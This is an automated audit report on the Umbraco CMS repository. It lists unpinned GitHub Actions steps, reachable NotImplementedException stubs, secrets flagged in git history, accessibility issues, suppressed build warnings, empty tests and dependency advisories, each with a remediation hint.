High: watchdog-secret-into-unpinned-action .github/workflows/azure-backoffice.yml:53— This step hands a repository secret to a third-party action that is NOT pinned to an immutable reference. A tag - `@v1`, `@v1.2.2`, `@main` - is a pointer the action's owner can repoint at any moment, so the code that receives this secret is whatever that owner publishes next, and it can change without a single commit to this repository or any review by you. An action runs in the job's own process: it can read every secret bound to the step, everything in the workspace, and the runner's network. Pin the action to a full 40-character commit SHA, which names one immutable tree - `uses: owner/repo@<40-character SHA>`, resolved with `gh api repos/<owner>/<repo>/commits/<ref> --jq .sha` - and review the diff before you move it. Where the secret is a long-lived personal access token, scope it down or replace it with the per-run `GITHUB_TOKEN` as well: pinning bounds WHICH code runs, not what the credential can do.
High: watchdog-secret-into-unpinned-action .github/workflows/azure-backoffice.yml:54— This step hands a repository secret to a third-party action that is NOT pinned to an immutable reference. A tag - `@v1`, `@v1.2.2`, `@main` - is a pointer the action's owner can repoint at any moment, so the code that receives this secret is whatever that owner publishes next, and it can change without a single commit to this repository or any review by you. An action runs in the job's own process: it can read every secret bound to the step, everything in the workspace, and the runner's network. Pin the action to a full 40-character commit SHA, which names one immutable tree - `uses: owner/repo@<40-character SHA>`, resolved with `gh api repos/<owner>/<repo>/commits/<ref> --jq .sha` - and review the diff before you move it. Where the secret is a long-lived personal access token, scope it down or replace it with the per-run `GITHUB_TOKEN` as well: pinning bounds WHICH code runs, not what the credential can do.
High: github-actions-mutable-action-tag .github/workflows/azure-backoffice.yml:71— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: Azure/static-web-apps-deploy@<40-character SHA>`. This step references `Azure/static-web-apps-deploy@v1`; resolve the SHA it points at today with `gh api repos/Azure/static-web-apps-deploy/commits/v1 --jq .sha`.
High: watchdog-secret-into-unpinned-action .github/workflows/azure-backoffice.yml:74— This step hands a repository secret to a third-party action that is NOT pinned to an immutable reference. A tag - `@v1`, `@v1.2.2`, `@main` - is a pointer the action's owner can repoint at any moment, so the code that receives this secret is whatever that owner publishes next, and it can change without a single commit to this repository or any review by you. An action runs in the job's own process: it can read every secret bound to the step, everything in the workspace, and the runner's network. Pin the action to a full 40-character commit SHA, which names one immutable tree - `uses: owner/repo@<40-character SHA>`, resolved with `gh api repos/<owner>/<repo>/commits/<ref> --jq .sha` - and review the diff before you move it. Where the secret is a long-lived personal access token, scope it down or replace it with the per-run `GITHUB_TOKEN` as well: pinning bounds WHICH code runs, not what the credential can do.
High: github-actions-mutable-action-tag .github/workflows/azure-storybook.yml:29— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@<40-character SHA>`. This step references `actions/checkout@v6`; resolve the SHA it points at today with `gh api repos/actions/checkout/commits/v6 --jq .sha`.
High: github-actions-mutable-action-tag .github/workflows/azure-storybook.yml:31— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/setup-node@<40-character SHA>`. This step references `actions/setup-node@v4`; resolve the SHA it points at today with `gh api repos/actions/setup-node/commits/v4 --jq .sha`.
High: github-actions-mutable-action-tag .github/workflows/azure-storybook.yml:51— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: Azure/static-web-apps-deploy@<40-character SHA>`. This step references `Azure/static-web-apps-deploy@v1`; resolve the SHA it points at today with `gh api repos/Azure/static-web-apps-deploy/commits/v1 --jq .sha`.
High: watchdog-secret-into-unpinned-action .github/workflows/azure-storybook.yml:54— This step hands a repository secret to a third-party action that is NOT pinned to an immutable reference. A tag - `@v1`, `@v1.2.2`, `@main` - is a pointer the action's owner can repoint at any moment, so the code that receives this secret is whatever that owner publishes next, and it can change without a single commit to this repository or any review by you. An action runs in the job's own process: it can read every secret bound to the step, everything in the workspace, and the runner's network. Pin the action to a full 40-character commit SHA, which names one immutable tree - `uses: owner/repo@<40-character SHA>`, resolved with `gh api repos/<owner>/<repo>/commits/<ref> --jq .sha` - and review the diff before you move it. Where the secret is a long-lived personal access token, scope it down or replace it with the per-run `GITHUB_TOKEN` as well: pinning bounds WHICH code runs, not what the credential can do.
High: watchdog-secret-into-unpinned-action .github/workflows/azure-storybook.yml:55— This step hands a repository secret to a third-party action that is NOT pinned to an immutable reference. A tag - `@v1`, `@v1.2.2`, `@main` - is a pointer the action's owner can repoint at any moment, so the code that receives this secret is whatever that owner publishes next, and it can change without a single commit to this repository or any review by you. An action runs in the job's own process: it can read every secret bound to the step, everything in the workspace, and the runner's network. Pin the action to a full 40-character commit SHA, which names one immutable tree - `uses: owner/repo@<40-character SHA>`, resolved with `gh api repos/<owner>/<repo>/commits/<ref> --jq .sha` - and review the diff before you move it. Where the secret is a long-lived personal access token, scope it down or replace it with the per-run `GITHUB_TOKEN` as well: pinning bounds WHICH code runs, not what the credential can do.
High: github-actions-mutable-action-tag .github/workflows/azure-storybook.yml:72— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: Azure/static-web-apps-deploy@<40-character SHA>`. This step references `Azure/static-web-apps-deploy@v1`; resolve the SHA it points at today with `gh api repos/Azure/static-web-apps-deploy/commits/v1 --jq .sha`.
High: watchdog-secret-into-unpinned-action .github/workflows/azure-storybook.yml:75— This step hands a repository secret to a third-party action that is NOT pinned to an immutable reference. A tag - `@v1`, `@v1.2.2`, `@main` - is a pointer the action's owner can repoint at any moment, so the code that receives this secret is whatever that owner publishes next, and it can change without a single commit to this repository or any review by you. An action runs in the job's own process: it can read every secret bound to the step, everything in the workspace, and the runner's network. Pin the action to a full 40-character commit SHA, which names one immutable tree - `uses: owner/repo@<40-character SHA>`, resolved with `gh api repos/<owner>/<repo>/commits/<ref> --jq .sha` - and review the diff before you move it. Where the secret is a long-lived personal access token, scope it down or replace it with the per-run `GITHUB_TOKEN` as well: pinning bounds WHICH code runs, not what the credential can do.
High: github-actions-mutable-action-tag .github/workflows/claude-review.yml:36— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@<40-character SHA>`. This step references `actions/checkout@v6`; resolve the SHA it points at today with `gh api repos/actions/checkout/commits/v6 --jq .sha`.
High: github-actions-mutable-action-tag .github/workflows/claude-review.yml:40— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: anthropics/claude-code-action@<40-character SHA>`. This step references `anthropics/claude-code-action@v1`; resolve the SHA it points at today with `gh api repos/anthropics/claude-code-action/commits/v1 --jq .sha`.
High: watchdog-secret-into-unpinned-action .github/workflows/claude-review.yml:42— This step hands a repository secret to a third-party action that is NOT pinned to an immutable reference. A tag - `@v1`, `@v1.2.2`, `@main` - is a pointer the action's owner can repoint at any moment, so the code that receives this secret is whatever that owner publishes next, and it can change without a single commit to this repository or any review by you. An action runs in the job's own process: it can read every secret bound to the step, everything in the workspace, and the runner's network. Pin the action to a full 40-character commit SHA, which names one immutable tree - `uses: owner/repo@<40-character SHA>`, resolved with `gh api repos/<owner>/<repo>/commits/<ref> --jq .sha` - and review the diff before you move it. Where the secret is a long-lived personal access token, scope it down or replace it with the per-run `GITHUB_TOKEN` as well: pinning bounds WHICH code runs, not what the credential can do.
High: github-actions-mutable-action-tag .github/workflows/claude.yml:28— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@<40-character SHA>`. This step references `actions/checkout@v6`; resolve the SHA it points at today with `gh api repos/actions/checkout/commits/v6 --jq .sha`.
High: github-actions-mutable-action-tag .github/workflows/claude.yml:32— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: anthropics/claude-code-action@<40-character SHA>`. This step references `anthropics/claude-code-action@v1`; resolve the SHA it points at today with `gh api repos/anthropics/claude-code-action/commits/v1 --jq .sha`.
High: watchdog-secret-into-unpinned-action .github/workflows/claude.yml:34— This step hands a repository secret to a third-party action that is NOT pinned to an immutable reference. A tag - `@v1`, `@v1.2.2`, `@main` - is a pointer the action's owner can repoint at any moment, so the code that receives this secret is whatever that owner publishes next, and it can change without a single commit to this repository or any review by you. An action runs in the job's own process: it can read every secret bound to the step, everything in the workspace, and the runner's network. Pin the action to a full 40-character commit SHA, which names one immutable tree - `uses: owner/repo@<40-character SHA>`, resolved with `gh api repos/<owner>/<repo>/commits/<ref> --jq .sha` - and review the diff before you move it. Where the secret is a long-lived personal access token, scope it down or replace it with the per-run `GITHUB_TOKEN` as well: pinning bounds WHICH code runs, not what the credential can do.
High: github-actions-mutable-action-tag .github/workflows/codeql-analysis.yml:54— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@<40-character SHA>`. This step references `actions/checkout@v6`; resolve the SHA it points at today with `gh api repos/actions/checkout/commits/v6 --jq .sha`.
High: github-actions-mutable-action-tag .github/workflows/codeql-analysis.yml:58— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/setup-dotnet@<40-character SHA>`. This step references `actions/setup-dotnet@v4`; resolve the SHA it points at today with `gh api repos/actions/setup-dotnet/commits/v4 --jq .sha`.
High: github-actions-mutable-action-tag .github/workflows/codeql-analysis.yml:62— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: github/codeql-action/init@<40-character SHA>`. This step references `github/codeql-action/init@v3`; resolve the SHA it points at today with `gh api repos/github/codeql-action/commits/v3 --jq .sha`. `github/codeql-action/init` is hosted INSIDE the `github/codeql-action` repository (a subdirectory action or a reusable workflow), so the SHA to pin is that repository's commit — keep the full `github/codeql-action/init` path in `uses:` and query only `github/codeql-action`.
High: github-actions-mutable-action-tag .github/workflows/codeql-analysis.yml:69— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: github/codeql-action/analyze@<40-character SHA>`. This step references `github/codeql-action/analyze@v3`; resolve the SHA it points at today with `gh api repos/github/codeql-action/commits/v3 --jq .sha`. `github/codeql-action/analyze` is hosted INSIDE the `github/codeql-action` repository (a subdirectory action or a reusable workflow), so the SHA to pin is that repository's commit — keep the full `github/codeql-action/analyze` path in `uses:` and query only `github/codeql-action`.
High: github-actions-mutable-action-tag .github/workflows/community-notifier.yml:23— GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/cache/restore@<40-character SHA>`. This step references `actions/cache/restore@v6`; resolve the SHA it points at today with `gh api repos/actions/cache/commits/v6 --jq .sha`. `actions/cache/restore` is hosted INSIDE the `actions/cache` repository (a subdirectory action or a reusable workflow), so the SHA to pin is that repository's commit — keep the full `actions/cache/restore` path in `uses:` and query only `actions/cache`.
Unfinished stub — throws NotImplementedException src/Umbraco.Cms.Api.Management/Factories/IConfigurationPresentationFactory.cs:25— `CreateDocumentTypeConfigurationResponseModel` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Controllers/DocumentType/ConfigurationDocumentTypeController.cs:39 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Cms.Api.Management/Factories/IConfigurationPresentationFactory.cs:32— `CreateMemberTypeConfigurationResponseModel` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Controllers/MemberType/ConfigurationMemberTypeController.cs:41 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Cms.Api.Management/Factories/IConfigurationPresentationFactory.cs:45— `CreateMediaTypeConfigurationResponseModel` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Controllers/MediaType/ConfigurationMediaTypeController.cs:43 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Cms.Api.Management/Factories/IDocumentEditingPresentationFactory.cs:34— `CreateUpdateRequestModelAsync` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Patchers/DocumentPatcher.cs:65 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Cms.Api.Management/Factories/IDocumentEditingPresentationFactory.cs:43— `MapPatchModel` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Controllers/Document/PatchDocumentController.cs:55 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Cms.Api.Management/Factories/IUdtFileContentFactory.cs:21— `Create` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Controllers/MemberType/ExportMemberTypeController.cs:52 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Cms.Api.Management/Factories/IUserPresentationFactory.cs:38— `CreateUpdateProfileModelAsync` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Controllers/User/Current/UpdateCurrentUserProfileController.cs:57 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Cms.Api.Management/Services/Entities/IUserStartNodeEntitiesService.cs:43— `RootUserAccessEntities` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Services/Entities/UserStartNodeTreeFilterService.cs:53 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Cms.Api.Management/Services/Entities/IUserStartNodeEntitiesService.cs:91— `ChildUserAccessEntities` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Services/Entities/UserStartNodeTreeFilterService.cs:68 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Cms.Api.Management/Services/Entities/IUserStartNodeEntitiesService.cs:161— `SiblingUserAccessEntities` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Services/Entities/UserStartNodeTreeFilterService.cs:90 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IContentRepository.cs:29— `UpdateSortOrder` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/ContentService.cs:1819 references it (1 further site(s) in this project). This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IDataTypeRepository.cs:33— `FindListViewUsages` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/DataTypeService.cs:339 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:57— `GetAll` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/EntityService.cs:218 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:74— `GetAll` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/EntityService.cs:271 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:218— `Exists` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/EntityService.cs:158 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:226— `Exists` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/EntityService.cs:167 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IWebhookRepository.cs:39— `GetByIdsAsync` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/WebhookService.cs:158 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IAuditService.cs:22— `AddAsync` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Events/RelateOnCopyNotificationHandler.cs:83 references it (14 further site(s) in this project). This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IContentService.cs:50— `MoveBlueprint` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:238 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IContentService.cs:67— `CreateBlueprintFromContent` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:144 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IContentService.cs:461— `SortChildren` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/ContentEditingService.cs:314 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IEntityService.cs:78— `Exists` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/ImportExport/ContentTypeImportService.cs:92 references it (2 further site(s) in this project). This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IEntityService.cs:86— `Exists` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/UserGroupService.cs:696 references it (1 further site(s) in this project). This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IMediaService.cs:381— `SortChildren` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/MediaEditingService.cs:229 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IPackageDataInstallation.cs:36— `ImportMemberTypes` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/ImportExport/MemberTypeImportService.cs:90 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it.
Secret: generic-api-key src/Umbraco.Web.UI.Client/src/backoffice/settings/languages/workspace/language/views/edit/workspace-view-language-edit.element.ts @ 219ed8a:67 (committed 2023-01-20)— gitleaks matched rule 'generic-api-key' here, in git history. Deleting the file does not remove it — the commit persists on every clone, fork and backup — so the act is to ROTATE this credential and treat it as compromised. The "Rotate the exposed credentials" row carries the full procedure, including when a `.gitattributes` provenance declaration is the correct answer instead.
Secret: generic-api-key src/Umbraco.Web.UI.NetCore/App_Data/Smidge/Cache/BERG-DESKTOP/1/fb8e5b2a.js @ 8e35000:13 (committed 2020-08-17)— gitleaks matched rule 'generic-api-key' here, in git history. Deleting the file does not remove it — the commit persists on every clone, fork and backup — so the act is to ROTATE this credential and treat it as compromised. The "Rotate the exposed credentials" row carries the full procedure, including when a `.gitattributes` provenance declaration is the correct answer instead.
Secret: generic-api-key src/Umbraco.Web.UI/App_Code/OwinStartup.cs @ 52c4d80:68 (committed 2015-02-20)— gitleaks matched rule 'generic-api-key' here, in git history. Deleting the file does not remove it — the commit persists on every clone, fork and backup — so the act is to ROTATE this credential and treat it as compromised. The "Rotate the exposed credentials" row carries the full procedure, including when a `.gitattributes` provenance declaration is the correct answer instead.
Secret: generic-api-key src/Umbraco.Web.UI/umbraco_client/ui/jqueryui.js @ 7eee1ac:12 (committed 2018-11-22)— gitleaks matched rule 'generic-api-key' here, in git history. Deleting the file does not remove it — the commit persists on every clone, fork and backup — so the act is to ROTATE this credential and treat it as compromised. The "Rotate the exposed credentials" row carries the full procedure, including when a `.gitattributes` provenance declaration is the correct answer instead.
Secret: gcp-api-key src/Umbraco.Web/Editors/CanvasDesignerController.cs @ 7eee1ac:21 (committed 2018-11-22)— gitleaks matched rule 'gcp-api-key' here, in git history. Deleting the file does not remove it — the commit persists on every clone, fork and backup — so the act is to ROTATE this credential and treat it as compromised. The "Rotate the exposed credentials" row carries the full procedure, including when a `.gitattributes` provenance declaration is the correct answer instead.
Secret: gcp-api-key src/Umbraco.Web/Editors/uSkyTuningController.cs @ 2330181:34 (committed 2014-05-09)— gitleaks matched rule 'gcp-api-key' here, in git history. Deleting the file does not remove it — the commit persists on every clone, fork and backup — so the act is to ROTATE this credential and treat it as compromised. The "Rotate the exposed credentials" row carries the full procedure, including when a `.gitattributes` provenance declaration is the correct answer instead.
Secret: generic-api-key umbraco/presentation/content.cs @ 8a43220:848 (committed 2011-09-14)— gitleaks matched rule 'generic-api-key' here, in git history. Deleting the file does not remove it — the commit persists on every clone, fork and backup — so the act is to ROTATE this credential and treat it as compromised. The "Rotate the exposed credentials" row carries the full procedure, including when a `.gitattributes` provenance declaration is the correct answer instead.
Unlisted import 'lit' src/Umbraco.Web.UI.Client/.storybook/preview.js:9— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import 'lit' src/Umbraco.Web.UI.Client/src/packages/block/block-grid/clipboard/block/copy/block-grid-to-block-copy-translator.test.ts:2— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import 'lit' src/Umbraco.Web.UI.Client/src/packages/clipboard/collection/repository/clipboard-collection.local-storage.data-source.test.ts:9— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import 'lit' src/Umbraco.Web.UI.Client/src/packages/core/variant/variant-resolver.test.ts:2— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import 'lit' src/Umbraco.Web.UI.Client/src/packages/documents/documents/item/document-item-data-resolver.test.ts:2— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import 'lit' src/Umbraco.Web.UI.Client/src/packages/media/media/item/media-item-data-resolver.test.ts:2— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Viewport restricts zoom src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/Maintenance.cshtml:12— user-scalable=no/0 or a maximum-scale below 2 stops low-vision users zooming to 200%. Remove the zoom restriction from the viewport meta.
Viewport restricts zoom src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/NoNodes.cshtml:15— user-scalable=no/0 or a maximum-scale below 2 stops low-vision users zooming to 200%. Remove the zoom restriction from the viewport meta.
Viewport restricts zoom src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/NotFound.cshtml:12— user-scalable=no/0 or a maximum-scale below 2 stops low-vision users zooming to 200%. Remove the zoom restriction from the viewport meta.
Viewport restricts zoom src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/Upgrading.cshtml:12— user-scalable=no/0 or a maximum-scale below 2 stops low-vision users zooming to 200%. Remove the zoom restriction from the viewport meta.
Viewport restricts zoom src/Umbraco.Cms.StaticAssets/wwwroot/umbraco/views/errors/BootFailed.html:6— user-scalable=no/0 or a maximum-scale below 2 stops low-vision users zooming to 200%. Remove the zoom restriction from the viewport meta.
NoWarnInCsproj templates/Umbraco.Templates.csproj:12— NU5128 — this warning is switched off for the WHOLE project, including builds years from now. It is raised by the build itself — the packaging, restore or SDK step — about the project as a whole, not by the compiler or an analyzer at a line of code, so there is no call site to narrow it to and no per-site directive that could carry a reason: this element is the only place the decision can be recorded. Say WHY here, in a comment on the entry, or fix what the rule is reporting and drop the code from the list.
NoWarnInCsproj src/Umbraco.Cms.Targets/Umbraco.Cms.Targets.csproj:32— NU5128 — this warning is switched off for the WHOLE project, including builds years from now. It is raised by the build itself — the packaging, restore or SDK step — about the project as a whole, not by the compiler or an analyzer at a line of code, so there is no call site to narrow it to and no per-site directive that could carry a reason: this element is the only place the decision can be recorded. Say WHY here, in a comment on the entry, or fix what the rule is reporting and drop the code from the list.
NoWarnInCsproj tests/Umbraco.Tests.Integration/Umbraco.Tests.Integration.csproj:10— NU5100 — this warning is switched off for the WHOLE project, including builds years from now. It is raised by the build itself — the packaging, restore or SDK step — about the project as a whole, not by the compiler or an analyzer at a line of code, so there is no call site to narrow it to and no per-site directive that could carry a reason: this element is the only place the decision can be recorded. Say WHY here, in a comment on the entry, or fix what the rule is reporting and drop the code from the list.
NoWarnInCsproj src/Umbraco.Cms.Targets/Umbraco.Cms.Targets.csproj:32— NU5100 — this warning is switched off for the WHOLE project, including builds years from now. It is raised by the build itself — the packaging, restore or SDK step — about the project as a whole, not by the compiler or an analyzer at a line of code, so there is no call site to narrow it to and no per-site directive that could carry a reason: this element is the only place the decision can be recorded. Say WHY here, in a comment on the entry, or fix what the rule is reporting and drop the code from the list.
NoWarnInCsproj Directory.Build.props:29— SA1309 — this warning is switched off for the WHOLE project, in every file it builds, including code written years from now: nothing at the call site records that the rule was ever silenced, so the next reader has no reason to look here. Fix what the rule is reporting and drop the code from the list, or — if some occurrences really are legitimate — narrow the suppression to those sites and give each one its reason, so the rule keeps protecting the rest of the project.
D10 · Test Quality· No assertions (empty test) · ×4
No assertions (empty test): Bug_Changing_Built_In_Member_Type_Property_Type_Aliases_Results_In_Exception tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/Repositories/MemberTypeRepositoryTest.cs:231— Test method has an empty body — it asserts nothing and exercises no code.
No assertions (empty test): Built_In_Member_Type_Properties_Are_Automatically_Added_When_Creating tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/Repositories/MemberTypeRepositoryTest.cs:239— Test method has an empty body — it asserts nothing and exercises no code.
No assertions (empty test): Built_In_Member_Type_Properties_Missing_Are_Automatically_Added_When_Creating tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/Repositories/MemberTypeRepositoryTest.cs:247— Test method has an empty body — it asserts nothing and exercises no code.
No assertions (empty test): Tracks_Dirty_Changes tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Services/MemberServiceTests.cs:712— Test method has an empty body — it asserts nothing and exercises no code.
High CVE: [GHSA redacted] src/Umbraco.Web.UI.Client/devops/icon-manager/package-lock.json— nanoid 3.3.17: [GHSA redacted] — nanoid is not declared in this repo's manifests: it is pulled in transitively by postcss 8.5.25, so upgrade the dependency that requires it (or pin nanoid to 3.3.18 with an `overrides` entry (`resolutions` if you use Yarn)). (in 2 dependency files: src/Umbraco.Web.UI.Client/devops/icon-manager/package-lock.json, src/Umbraco.Web.UI.Login/package-lock.json)
High CVE: [GHSA redacted] src/Umbraco.Web.UI.Client/package-lock.json— js-yaml 4.2.0: [GHSA redacted] — js-yaml is not declared in this repo's manifests: it is pulled in transitively by @hey-api/json-schema-ref-parser 1.4.4, so upgrade the dependency that requires it (and an `overrides` pin to 4.3.2 is not the offer it looks like: every dependent resolving this copy — @hey-api/json-schema-ref-parser 1.4.4 (`4.2.0`) — declares a range that excludes 4.3.2, so the pin overrides their declaration rather than satisfying it. Upgrading those dependents is the move their own maintainers support). This is 1 of 3 advisories with a published fix this scan raises against js-yaml 4.2.0, and their fixed versions do not agree — anything below 4.3.2 still leaves at least one of them open. Take this package to 4.3.2 or later: that is the floor for the package, not this row's target alone. This one row stands for the 3 advisories this scan raises against js-yaml 4.2.0: [GHSA redacted], [GHSA redacted], [GHSA redacted].
